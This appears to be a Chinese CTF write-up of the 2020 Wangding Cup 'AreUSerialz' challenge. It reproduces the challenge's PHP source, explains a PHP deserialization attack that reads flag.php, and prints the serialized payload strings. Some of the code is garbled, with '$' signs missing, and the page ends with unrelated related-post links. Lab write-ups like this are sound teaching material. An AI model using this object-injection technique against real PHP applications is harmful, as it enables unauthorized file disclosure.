[网鼎杯 2020 青龙组]AreUSerialz1

打开题目

熟悉的php,代码审计

可知这是一题反序列化类型的题目。

按照常规方法,首先,我们先将代码复制到本地进行序列化构造,

根据代码逻辑分析,咱们可知 function __construct() {

$op = "1";

$filename = "/tmp/tmpfile";

$content = "Hello World!";

$this->process();

}

_destruct()析构函数当对象被销毁时会被自动调用;所以当反序列化函数调用时,会触发这个

分析此方法内的代码逻辑,当我们需要它正确输出flag时此魔术方法调用后会接着正确调用此对象中的process()方法和output()方法,所以write()方法也可以删除不用看, protected $content属性也可直接删了。

<?

include("flag.php");

highlight_file(FILE);

class FileHandler {

protected $op;

protected $filename;

public function process() {

if($this->op == "1") {

$this->write();

} else if($this->op == "2") {

res = this->read();

this-\>output(res);

} else {

$this->output("Bad Hacker!");

}

}

private function read() {

$res = "";

if(isset($this->filename)) {

res = file_get_contents(this->filename);

}

return $res;

}

private function output($s) {

echo "[Result]: <br>";

echo $s;

}

function __destruct() {

if($this->op === "2")

$this->op = "1";

$this->process();

}

}

function is_valid($s) {

for(i = 0; i < strlen(s); i++)

if(!(ord(s\[i]) >= 32 && ord(s\[i]) <= 125))

return false;

return true;

}

if(isset($_GET{'str'})) {

str = (string)_GET['str'];

if(is_valid($str)) {

obj = unserialize(str);

}

}

根据构造函数is_valid($s) 可知,

s的值ASCII码范围得在32\<=s<=125;

再根据构造函数read()可知,

$filename值基本为flag.php

根据上述信息,构造第一个序列化值得到:

O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:8:"flag.php";s:10:"*content";N;}

php将属性类型换成public

<?php

include("flag.php");

highlight_file(FILE);

class FileHandler {

public $op=2;

public $filename="flag.php";

}

O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";

相关推荐
没盐水菠萝29 分钟前
Android - 动态切换桌面图标
android
AI 嗯啦31 分钟前
SQL详细语法教程(三)mysql的函数知识
android·开发语言·数据库·python·sql·mysql
跨界混迹车辆网的Android工程师2 小时前
adb 发送广播
android
超勇的阿杰4 小时前
gulimall项目笔记:P54三级分类拖拽功能实现
android·笔记
峥嵘life5 小时前
Android 欧盟网络安全EN18031 要求对应的基本表格填写
android·安全·web安全
程序员码歌7 小时前
【零代码AI编程实战】AI灯塔导航-从0到1实现篇
android·前端·人工智能
北十南7 小时前
SODA自然美颜相机(甜盐相机国际版) v9.3.0
android·windows·数码相机
Harry技术7 小时前
Trae搭建Android项目:智能存储柜表结构设计以及实体生成
android·kotlin·trae
编程乐学8 小时前
网络资源模板--基于Android Studio 实现的通讯录App
android·android studio·移动端开发·通讯录app·安卓大作业
bytebeats9 小时前
# Android Studio Narwhal Agent 模式简介
android·android studio